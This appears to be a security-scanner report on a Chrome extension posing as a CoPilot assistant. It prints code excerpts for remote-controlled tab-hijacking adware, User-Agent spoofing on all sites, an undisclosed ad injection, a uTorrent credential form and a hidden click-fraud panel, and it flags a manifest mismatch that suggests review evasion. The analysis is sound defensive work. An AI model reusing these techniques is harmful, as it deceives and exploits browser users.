Security Alert: Critical Security Risk
CoPilot™ Extensions For Chrome
ID: eodojedcgoicpkfcjkhghafoadllibab
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Bing AIView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Use new AI in Chrome. CoPilot™ Extensions For Chrome
CoPilot™ AI is now more easily accessible via Chrome. After installing the plugin, you can start using it immediately. The plugin does not require membership With this add-on, you can access CoPilot™ without closing your work. Use new AI in Chrome. CoPilot™ Extensions For Chrome
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://*.bing.com/*
On every browser startup, the extension fetches a remote config from newapptome.com (a domain unrelated to the stated CoPilot purpose) that supplies an arbitrary URL and counter threshold. When the counter reaches the server-controlled threshold, it silently opens a new browser tab at the remote URL. The same URL is also opened immediately on first install if InstallOpenSite is set. This is a server-controlled adware tab-injection mechanism — the operator can change the destination URL at any time to redirect 30,000 users anywhere.
function o() { return t(this, void 0, void 0, (function*() { const t = yield fetch("https://newapptome.com/SiteSettingsCopilot.json") .then((t => t.ok ? t.json() : Promise.reject("Cannot connect to the server, status: " + t.status))) .then((t => t.error ? Promise.reject(t.error) : t)); "error" == t.status || (chrome.storage.local.set({ details: t }), console.log(t), n.link = t.link, n.count = t.count, n.InstallOpenSite = t.InstallOpenSite, n .AfterOpenSite = t.AfterOpenSite) }))}chrome.runtime.setUninstallURL && chrome.runtime.setUninstallURL(n.link), chrome.runtime.onInstalled .addListener((e => t(this, void 0, void 0, (function*() { switch (e.reason) { case "install": yield o(); var t = 1; return yield chrome.storage.local.set({ CoPilotCount: t }), 1 == n.InstallOpenSite && chrome.tabs.create({ url: n.link }), chrome.storage.sync.set({ installDate: Date.now(), installVersion: chrome.runtime.getManifest().version }); case "update": return t = 1, yield chrome.storage.local.set({ CoPilotCount: t }), 1 == n.InstallOpenSite && chrome.tabs.create({ url: n.link }), chrome.storage.sync.set({ updateDate: Date.now() }) } }))));chrome.runtime.onStartup.addListener((() => t(this, void 0, void 0, (function*() { yield o(), yield function() { return t(this, void 0, void 0, (function*() { if (1 != n.AfterOpenSite) return; let t = yield i("CoPilotCount"); t = Number(t) + 1; var e = t; e > n.count && (e = 0, chrome.tabs.create({ url: n.link })), yield chrome.storage.local.set({ CoPilotCount: e }) })) }()}))))On every browser startup the extension increments a persistent counter and opens a new tab to the remote-server-supplied URL when the counter exceeds a server-defined threshold, then resets. This implements a cadenced tab-hijacking loop that fires on every N browser starts with a destination the server operator controls remotely. This is adware behavior not mentioned anywhere in the CWS listing or privacy policy.
chrome.runtime.onStartup.addListener((() => t(this, void 0, void 0, (function*() { yield o(), yield function() { return t(this, void 0, void 0, (function*() { if (1 != n.AfterOpenSite) return; let t = yield i("CoPilotCount"); t = Number(t) + 1; var e = t; e > n.count && (e = 0, chrome.tabs.create({ url: n.link })), yield chrome.storage.local.set({ CoPilotCount: e }, (() => { console.log("install CoPilotCount: " + e) })) })) }()}))))The bundled manifest declares declarativeNetRequest and host_permissions for newapptome.com, while the live CWS-published manifest declares scripting, notifications, and alarms instead — with web_accessible_resources matching <all_urls>. This significant mismatch between the installed ZIP and the published manifest indicates the publisher submitted a different version to Google's review than what users received, a common evasion tactic to pass review while shipping broader capabilities.
{ "permissions": [ "storage", "declarativeNetRequest", "commands" ], "host_permissions": [ "https://*.bing.com/*", "https://newapptome.com/*" ], "declarative_net_request": { "rule_resources": [ { "enabled": true, "id": "modify_ua_header", "path": "rules.json" } ] }}The content script injected into bing.com search pages inserts an unsolicited advertisement for chathub.gg — a competitor service — directly into the Bing AI conversation container. This injection is not disclosed in the extension's CWS listing and serves the interests of a third party rather than the user. It matches the user-review complaints about 'intrusive marketing pop-ups.'
(() => { if (!localStorage.getItem("hide-chathub-notice")) { const e = document.querySelector("#b_sydConvCont"), t = document.createElement("div"); t.innerHTML = "<p>Checkout <a href='https://chathub.gg' target='_blank'>ChatHub.gg</a> : use ChatGPT and new Bing side by side. (<span style='text-decoration: underline; cursor: pointer' id='hide-chathub-notice'>close</span>)</p>", e.appendChild(t), document.getElementById("hide-chathub-notice") .addEventListener("click", (() => { localStorage.setItem("hide-chathub-notice", JSON.stringify(!0)), t.remove() })) }})();The declarativeNetRequest rule silently replaces the User-Agent and sec-ch-ua headers with Microsoft Edge identifiers on ALL URLs (urlFilter: "*") for every main-frame navigation and every WebSocket connection, not just bing.com. This causes every website the user visits to believe they are using Edge rather than Chrome, which can bypass browser-sniffing security controls, defeat fraud-detection systems that rely on consistent UA strings, and constitutes identity spoofing across the entire browser session without disclosure.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "requestHeaders": [ { "header": "user-agent", "operation": "set", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41" }, { "header": "sec-ch-ua", "operation": "set", "value": "\"Microsoft Edge\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111\"" } ] }, "condition": { "urlFilter": "*", "resourceTypes": [ "main_frame", "websocket" ] } }]The options page (titled 'uTorrent For Chrome' despite this extension being listed as a CoPilot assistant) collects uTorrent Web API username and password and stores them in chrome.storage.local under txtUserValue and txtPassValue. This functionality is completely absent from the CWS listing, has no disclosed purpose, and exposes users who stumble into the options page to credential harvesting into extension-accessible storage — other extension code can read these values.
r.createElement(d.Z, {id: "outlined-basic",label: "uTorrent web API user",variant: "outlined",value: n,onChange: e => { var t; o(e.target.value), t = e.target.value, new Promise((e => { const n = { txtUserValue: t }; chrome.storage.local.set(n, (() => { e() })) }))}})), r.createElement(Y, { xs: 4 }, r.createElement(J, null, " ", r.createElement(d.Z, { id: "outlined-basic", label: "uTorrent web API password", variant: "outlined", value: a, onChange: e => { var t; l(e.target.value), t = e.target.value, new Promise((e => { const n = { txtPassValue: t }; chrome.storage.local.set(n, (() => { e() })) })) } }))The popup contains a hidden 'Human Search' panel labeled 'You can Click Search Result For Organic Search' with Start/Stop controls that send a 'uid' message with a configurable repeat count to the background script. This is characteristic of automated SEO click-fraud tools that simulate human clicks on search results to artificially inflate organic-search rankings. The feature is completely hidden from the CWS listing and has no legitimate use in a CoPilot assistant extension.
n.createElement(f.Z, { variant: "subtitle1", gutterBottom: !0}, "Human Search"), n.createElement(f.Z, { variant: "subtitle2", gutterBottom: !0}, "You can Click Search Result For Organic Search "), n.createElement(d.Z, { id: "outlined-basic", label: "Repeat", variant: "outlined", value: e, onChange: e => { var r; t(e.target.value), r = e.target.value, new Promise((e => { const t = { txtrepeatCount: r }; chrome.storage.local.set(t, (() => { e() })) })) }}), n.createElement(l.Z, { spacing: 2, direction: "row"}, n.createElement(u.Z, { variant: "contained", color: "success", onClick: () => { chrome.runtime.sendMessage({ text: "uid", repeat: e }, (function(e) {})) }}, "Start"), n.createElement(u.Z, { variant: "outlined", color: "error", onClick: () => { chrome.runtime.sendMessage({ text: "stop" }, (function(e) {})) }}, "Stop")),By severity
Versions scanned
Showing 1 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.0.2 | 7 |
Files with findings
6 distinct paths — top paths by unique finding count:
- background.js2
- contentScript.js1
- manifest.json1
- options.js1
- popup.js1
- rules.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.